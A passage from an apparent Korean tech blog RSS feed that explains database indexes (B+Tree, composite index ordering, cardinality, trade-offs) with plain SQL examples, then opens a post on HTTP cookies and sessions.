&lt;p data-ke-size=&quot;size16&quot;&gt;리프 노드끼리 연결되어 있어 &quot;10살부터 20살까지 다 가져와!&quot; 같은 범위 검색에서 압도적인 성능을 냅니다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;범위 검색: WHERE age BETWEEN 10 AND 20
1. 인덱스에서 10을 찾음
2. 리프 노드 연결을 따라 20까지 순차적으로 읽음
3. 필요한 데이터만 빠르게 가져옴&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 디스크 I/O 최소화&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부 노드는 키만 저장하므로 메모리에 더 많은 노드를 올릴 수 있어 디스크 접근을 줄입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 순차 접근 최적화&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리프 노드가 연결되어 있어 순차 스캔이 효율적입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 인덱스의 동작 원리&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;인덱스 생성&lt;/b&gt;&lt;/h3&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 단일 컬럼 인덱스 생성
CREATE INDEX idx_name ON users(name);

-- 복합 인덱스 생성
CREATE INDEX idx_name_age ON users(name, age);&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;인덱스를 사용한 검색 과정&lt;/b&gt;&lt;/h3&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;1. 인덱스에서 검색 키 찾기
   - B+Tree를 따라 내려가며 키를 찾음

2. 리프 노드에서 데이터 주소 확인
   - 찾은 키에 해당하는 레코드 주소 확인

3. 실제 테이블에서 데이터 읽기
   - 주소를 통해 실제 데이터를 가져옴&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;SELECT * FROM users WHERE name = '홍길동';&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;동작 과정:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;code&gt;idx_name&lt;/code&gt; 인덱스에서 '홍길동' 검색&lt;/li&gt;
&lt;li&gt;B+Tree를 따라 내려가며 '홍길동' 찾기&lt;/li&gt;
&lt;li&gt;리프 노드에서 '홍길동'에 해당하는 레코드 주소 확인 (예: 0x1234)&lt;/li&gt;
&lt;li&gt;실제 테이블의 0x1234 주소에서 데이터 읽기&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 인덱스의 장점과 단점&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;장점&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;검색 속도 향상&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Full Table Scan 대신 Index Scan 사용&lt;/li&gt;
&lt;li&gt;대용량 테이블에서도 빠른 검색&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;정렬 작업 최소화&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스가 이미 정렬되어 있어 ORDER BY 성능 향상&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;조인 성능 향상&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;외래 키에 인덱스가 있으면 조인 성능 향상&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;단점 (Trade-off)&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;추가 저장 공간 필요&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스는 별도의 저장 공간을 차지함&lt;/li&gt;
&lt;li&gt;테이블 크기의 약 10~20% 추가 공간 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;INSERT, UPDATE, DELETE 성능 저하&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;데이터를 새로 넣거나 바꿀 때마다 인덱스도 매번 다시 정렬해야 함&lt;/li&gt;
&lt;li&gt;인덱스를 남발하면 INSERT 할 때마다 DB가 &quot;잠깐만, 인덱스 줄 세우기 다시 해야 해&quot;라며 멈칫거림&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;인덱스 유지 비용&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스는 항상 정렬된 상태를 유지해야 함&lt;/li&gt;
&lt;li&gt;데이터 변경 시 인덱스도 함께 업데이트해야 함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;세상에 공짜는 없다 (Trade-off)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인덱스는 조회(SELECT)와 수정(DML) 사이의 밀당이 필요합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;SELECT가 많으면&lt;/b&gt;: 인덱스가 유리&lt;/li&gt;
&lt;li&gt;&lt;b&gt;INSERT/UPDATE/DELETE가 많으면&lt;/b&gt;: 인덱스가 부담&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 꼭 필요한 컬럼에만 전략적으로 인덱스를 만드는 것이 핵심입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 인덱스를 사용해야 하는 경우&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;인덱스 생성이 유리한 경우&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;WHERE 절에서 자주 사용되는 컬럼&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-- name 컬럼으로 자주 검색 SELECT * FROM users WHERE name = '홍길동';&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;조인에 자주 사용되는 컬럼&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-- 외래 키에 인덱스 SELECT * FROM orders o JOIN users u ON o.user_id = u.id;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ORDER BY에서 자주 사용되는 컬럼&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-- 정렬 성능 향상 SELECT * FROM users ORDER BY created_at DESC;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;고유한 값을 가진 컬럼&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-- PRIMARY KEY, UNIQUE 제약조건 CREATE UNIQUE INDEX idx_email ON users(email);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;카디널리티가 높은 컬럼&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;카디널리티: 컬럼의 고유한 값의 개수&lt;/li&gt;
&lt;li&gt;높은 카디널리티 = 많은 고유 값 = 인덱스 효과 큼&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;인덱스 생성이 불리한 경우&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;카디널리티가 낮은 컬럼&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;예: 성별(남/여), 상태(활성/비활성)&lt;/li&gt;
&lt;li&gt;인덱스 효과가 거의 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;자주 변경되는 컬럼&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;INSERT/UPDATE/DELETE가 빈번한 컬럼&lt;/li&gt;
&lt;li&gt;인덱스 유지 비용이 큼&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;작은 테이블&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;데이터가 적으면 Full Table Scan이 더 빠를 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;NULL 값이 많은 컬럼&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스 효과가 제한적&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 복합 인덱스 (Composite Index)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;복합 인덱스란?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;복합 인덱스(Composite Index)&lt;/b&gt;는 여러 컬럼을 조합하여 만든 인덱스입니다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;CREATE INDEX idx_name_age ON users(name, age);&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;복합 인덱스의 사용 규칙&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복합 인덱스는 &lt;b&gt;왼쪽부터 순서대로&lt;/b&gt; 사용됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;-- 인덱스: (name, age)

-- ✅ 인덱스 사용 가능
SELECT * FROM users WHERE name = '홍길동';
SELECT * FROM users WHERE name = '홍길동' AND age = 25;

-- ❌ 인덱스 사용 불가 (age만 사용)
SELECT * FROM users WHERE age = 25;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이유:&lt;/b&gt; 인덱스는 (name, age) 순서로 정렬되어 있어, name 없이 age만으로는 인덱스를 효율적으로 사용할 수 없습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;복합 인덱스 설계 원칙&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;자주 함께 사용되는 컬럼 조합&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;카디널리티가 높은 컬럼을 앞에 배치&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;WHERE 절에서 자주 사용되는 컬럼을 앞에 배치&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;요약&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;인덱스&lt;/b&gt;는 데이터 검색 속도를 높이기 위해 별도로 관리하는 자료구조로, 한 마디로 '검색용 복사본'입니다. 컬럼의 값과 해당 레코드가 저장된 주소를 키와 값의 쌍으로 저장합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Full Table Scan&lt;/b&gt;은 전체 테이블을 읽는 방식이고, &lt;b&gt;Index Scan&lt;/b&gt;은 인덱스를 통해 특정 범위만 탐색하는 방식입니다. 인덱스가 있으면 SELECT 성능이 비약적으로 향상됩니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;B+Tree&lt;/b&gt;는 대부분의 RDBMS에서 사용하는 인덱스 자료구조로, 리프 노드끼리 연결되어 있어 범위 검색에 유리합니다. 가이드 노드를 따라가서 실제 데이터가 있는 리프 노드에 도달하는 방식입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;인덱스의 트레이드오프&lt;/b&gt;: 검색 속도는 향상되지만, 추가 저장 공간이 필요하고 INSERT/UPDATE/DELETE 시 오버헤드가 발생합니다. 따라서 꼭 필요한 컬럼에만 전략적으로 인덱스를 만드는 것이 핵심입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 자료&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/optimization-indexes.html&quot;&gt;MySQL 공식 문서 - 인덱스&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/indexes.html&quot;&gt;PostgreSQL 공식 문서 - 인덱스&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.freecodecamp.org/news/database-indexing-explained/&quot;&gt;Database Indexing Explained&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;예상 꼬리질문 정리&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 인덱스가 없으면 왜 느린가?&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Full Table Scan의 문제점:&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인덱스가 없으면 데이터베이스는 테이블의 모든 행을 순차적으로 읽어야 합니다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;1억 개의 데이터에서 특정 값 찾기
&amp;rarr; 전체 테이블을 처음부터 끝까지 스캔
&amp;rarr; 최악의 경우 1억 개를 모두 확인해야 함
&amp;rarr; 시간 복잡도: O(n)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Index Scan의 장점:&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인덱스가 있으면 정렬된 데이터에서 이진 탐색이 가능합니다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;1억 개의 데이터에서 특정 값 찾기
&amp;rarr; 인덱스를 통해 이진 탐색
&amp;rarr; 최대 약 27번의 비교로 찾을 수 있음 (log₂(1억) &amp;asymp; 27)
&amp;rarr; 시간 복잡도: O(log n)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. B-Tree와 B+Tree의 차이는?&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;B-Tree:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;내부 노드와 리프 노드 모두 데이터를 저장할 수 있음&lt;/li&gt;
&lt;li&gt;범위 검색 시 비효율적일 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;B+Tree:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;내부 노드는 키만 저장 (가이드 역할)&lt;/li&gt;
&lt;li&gt;리프 노드에만 실제 데이터 주소 저장&lt;/li&gt;
&lt;li&gt;리프 노드끼리 연결되어 범위 검색에 유리&lt;/li&gt;
&lt;li&gt;대부분의 RDBMS에서 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 B+Tree를 사용하는가:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;범위 검색 성능이 뛰어남&lt;/li&gt;
&lt;li&gt;디스크 I/O 최소화&lt;/li&gt;
&lt;li&gt;순차 접근 최적화&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 인덱스를 많이 만들면 좋은가?&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;아니요. 인덱스를 남발하면 안 됩니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제점:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;저장 공간 낭비&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스는 별도의 저장 공간을 차지함&lt;/li&gt;
&lt;li&gt;불필요한 인덱스는 공간만 낭비&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;INSERT/UPDATE/DELETE 성능 저하&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;데이터 변경 시 모든 인덱스를 업데이트해야 함&lt;/li&gt;
&lt;li&gt;인덱스가 많을수록 쓰기 성능 저하&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;인덱스 선택 비용 증가&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;옵티마이저가 어떤 인덱스를 사용할지 결정하는 비용 증가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;권장 사항:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;꼭 필요한 컬럼에만 인덱스 생성&lt;/li&gt;
&lt;li&gt;자주 사용되는 쿼리 패턴을 분석하여 인덱스 설계&lt;/li&gt;
&lt;li&gt;인덱스 사용 여부를 모니터링하여 불필요한 인덱스 제거&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. 복합 인덱스에서 순서가 중요한 이유는?&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;복합 인덱스는 왼쪽부터 순서대로 사용됩니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;CREATE INDEX idx_name_age ON users(name, age);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인덱스 구조:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;haml&quot;&gt;&lt;code&gt;(name, age) 순서로 정렬됨
- ('김철수', 20)
- ('김철수', 25)
- ('홍길동', 30)
- ('홍길동', 35)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용 가능한 쿼리:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;-- ✅ name만 사용 (인덱스 사용 가능)
WHERE name = '홍길동'

-- ✅ name과 age 모두 사용 (인덱스 사용 가능)
WHERE name = '홍길동' AND age = 30&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용 불가능한 쿼리:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;-- ❌ age만 사용 (인덱스 사용 불가)
WHERE age = 30&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이유:&lt;/b&gt; 인덱스는 (name, age) 순서로 정렬되어 있어, name 없이 age만으로는 인덱스를 효율적으로 사용할 수 없습니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5. 카디널리티가 낮은 컬럼에 인덱스를 만들면?&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;카디널리티가 낮은 컬럼&lt;/b&gt;은 고유한 값의 개수가 적은 컬럼입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;성별: 남/여 (카디널리티: 2)&lt;/li&gt;
&lt;li&gt;상태: 활성/비활성/대기 (카디널리티: 3)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제점:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;인덱스 효과가 거의 없음&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스를 사용해도 많은 행을 스캔해야 함&lt;/li&gt;
&lt;li&gt;Full Table Scan과 성능 차이가 거의 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;인덱스 유지 비용만 발생&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;INSERT/UPDATE/DELETE 시 인덱스 업데이트 비용&lt;/li&gt;
&lt;li&gt;저장 공간 낭비&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;권장 사항:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;카디널리티가 낮은 컬럼에는 인덱스를 만들지 않는 것이 좋음&lt;/li&gt;
&lt;li&gt;단, 복합 인덱스의 일부로 사용되는 경우는 예외&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;6. 인덱스가 SELECT 성능에만 영향을 주나?&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;아니요. 인덱스는 여러 작업에 영향을 줍니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SELECT:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스를 사용하여 검색 속도 향상&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;INSERT:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스 업데이트로 인한 오버헤드 발생&lt;/li&gt;
&lt;li&gt;인덱스가 많을수록 INSERT 속도 저하&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;UPDATE:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스 컬럼을 변경하면 인덱스도 업데이트 필요&lt;/li&gt;
&lt;li&gt;인덱스가 많을수록 UPDATE 속도 저하&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DELETE:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스에서도 해당 항목 삭제 필요&lt;/li&gt;
&lt;li&gt;인덱스가 많을수록 DELETE 속도 저하&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;ORDER BY:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스가 이미 정렬되어 있어 정렬 작업 최소화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;JOIN:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;외래 키에 인덱스가 있으면 조인 성능 향상&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>SQL</category>
      <author>jaemeon</author>
      <guid isPermaLink="true">https://jaemeon.tistory.com/132</guid>
      <comments>https://jaemeon.tistory.com/132#entry132comment</comments>
      <pubDate>Wed, 28 Jan 2026 08:43:13 +0900</pubDate>
    </item>
    <item>
      <title>Network_06) 촉촉한 brower Cookie</title>
      <link>https://jaemeon.tistory.com/131</link>
      <description>&lt;h2&gt;Topic (오늘의 주제)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;쿠키(Cookie)&lt;/strong&gt;와 &lt;strong&gt;세션(Session)&lt;/strong&gt;은 HTTP의 상태 없는(Stateless) 특성을 보완하여 사용자 상태를 유지하기 위한 메커니즘입니다. 쿠키는 클라이언트(브라우저)에 저장되는 작은 데이터 조각을 저장하고, 세션은 서버에 사용자 정보를 저장하고 세션 ID를 쿠키로 전달하는 방식입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;Why (왜 사용하는가? 왜 중요한가?)&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;HTTP는 상태 없는(Stateless) 프로토콜이므로 각 요청은 독립적입니다. 로그인 상태 유지, 장바구니, 사용자 설정 등을 위해서는 쿠키와 세션이 필요합니다. 쿠키와 세션을 이해하지 못하면 사용자 인증, 상태 관리, 보안 문제를 해결할 수 없습니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;쿠키와 세션의 차이점(저장 위치, 보안, 용량 제한), 쿠키의 속성(HttpOnly, Secure, SameSite), 세션의 동작 원리, 그리고 각각의 사용 사례와 보안 고려사항을 이해해야 합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;1. HTTP의 Stateless 특성&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;Stateless란?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;HTTP는 Stateless(상태 없음) 프로토콜&lt;/strong&gt;입니다. 즉, 각 HTTP 요청은 이전 요청과 독립적이며, 서버는 이전 요청의 정보를 기억하지 않습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;요청 1: GET /login?id=user1
요청 2: GET /profile
[서버는 요청 1의 정보를 기억하지 않음]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;문제점:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;로그인 상태를 유지할 수 없음&lt;/li&gt;
&lt;li&gt;장바구니에 담은 상품을 기억할 수 없음&lt;/li&gt;
&lt;li&gt;사용자 설정을 저장할 수 없음&lt;/li&gt;
&lt;/ul&gt;
